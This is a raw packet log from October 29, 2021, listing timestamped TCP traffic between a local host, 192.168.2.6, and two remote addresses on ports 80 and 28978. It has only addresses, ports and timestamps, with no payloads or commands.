Oct 29, 2021 17:56:17.726862907 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.726880074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726898909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726907015 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.726927996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726952076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.726969004 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.726979971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727008104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727288961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727307081 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727323055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727336884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727346897 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727370977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727385998 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727405071 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727432013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727442026 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727458954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727482080 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727489948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727514982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727538109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727556944 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727571011 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727615118 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727668047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727719069 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.727740049 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727766037 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727782011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.727811098 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728024006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728049994 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728075027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728087902 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728111029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728125095 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728142977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728167057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728184938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728198051 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728246927 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728286982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728368044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728396893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728411913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728420973 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728488922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728538036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728563070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728590965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728606939 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728636980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728698015 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728820086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728874922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728910923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.728928089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.728940964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.729000092 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.777136087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777168989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777189970 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777211905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777235985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777265072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777285099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777307987 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.777328968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777347088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777369022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777389050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.777405024 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.777457952 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778116941 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778148890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778171062 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778182983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778203964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778235912 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778249979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778280020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778301954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778320074 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778333902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778356075 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778364897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778387070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778409004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778429031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778453112 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778465986 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778490067 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778501034 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778523922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778536081 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778559923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778578043 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778597116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778620958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778661013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778847933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778879881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778913975 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.778924942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778944016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778970003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.778983116 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779006958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779033899 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779042006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779057980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779088974 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779380083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779429913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779444933 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779465914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779484987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779516935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779591084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779616117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779639959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779650927 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779671907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779685020 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779860020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779885054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779923916 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.779947042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779967070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.779987097 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780008078 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780020952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780038118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780045033 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780091047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780100107 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780122995 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780143023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780164957 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780179977 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780232906 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780349970 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780379057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780401945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780419111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780440092 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780455112 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780473948 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780488968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780505896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780549049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780725002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780772924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780788898 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.780831099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780858040 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.780881882 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.781148911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.781240940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.781267881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.781290054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.781299114 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.781362057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.781379938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.781402111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.781423092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.781456947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.781512022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.782361031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782392025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782418013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782439947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782470942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782493114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782495975 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.782517910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782529116 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.782545090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.782577991 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.782625914 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.830282927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830317020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830354929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830379009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830403090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830425978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830444098 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.830461979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830487013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830508947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830514908 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.830538988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830552101 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.830564976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830580950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.830926895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830952883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830971003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.830993891 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831021070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831028938 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831053972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831069946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831088066 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831104040 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831124067 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831139088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831161976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831176996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831186056 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831214905 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831294060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831317902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831342936 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831358910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831367970 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831407070 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831505060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831528902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831549883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831568003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831598043 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831638098 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.831902027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831928015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831952095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.831974983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832000017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832027912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832041025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832060099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832077026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832098961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832108021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832129955 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832154036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832173109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832180023 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832206011 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832421064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832444906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832468987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832484961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832508087 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832525969 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832571983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832595110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832616091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832627058 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832643032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832667112 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832731009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832762003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832786083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832804918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.832812071 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.832829952 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833070040 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833112955 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833128929 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833148003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833172083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833194017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833204985 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833228111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833247900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833254099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833288908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833302975 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833343983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833368063 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833383083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833398104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833442926 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833581924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833606958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833635092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833661079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833678961 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833693027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833709002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:17.833718061 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:17.833784103 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:21.076319933 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:21.107613087 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:21.107644081 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:21.107665062 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:21.107769966 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:21.156522989 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:23.797215939 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:23.797882080 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:23.860006094 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:23.860292912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:23.970473051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:23.987876892 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:23.987925053 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.050580025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.050612926 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175405025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175431013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175460100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175481081 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.175489902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175515890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175539970 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.175544977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175566912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175590992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175604105 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.175625086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.175642014 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.234113932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.234268904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.238692999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.238740921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.238781929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.238821030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.238873959 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.238877058 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.238897085 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.238938093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.238979101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.238996029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.239037037 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239078999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239095926 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.239135027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239192963 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.239214897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.239262104 CEST	80	49856	45.141.84.21	192.168.2.6
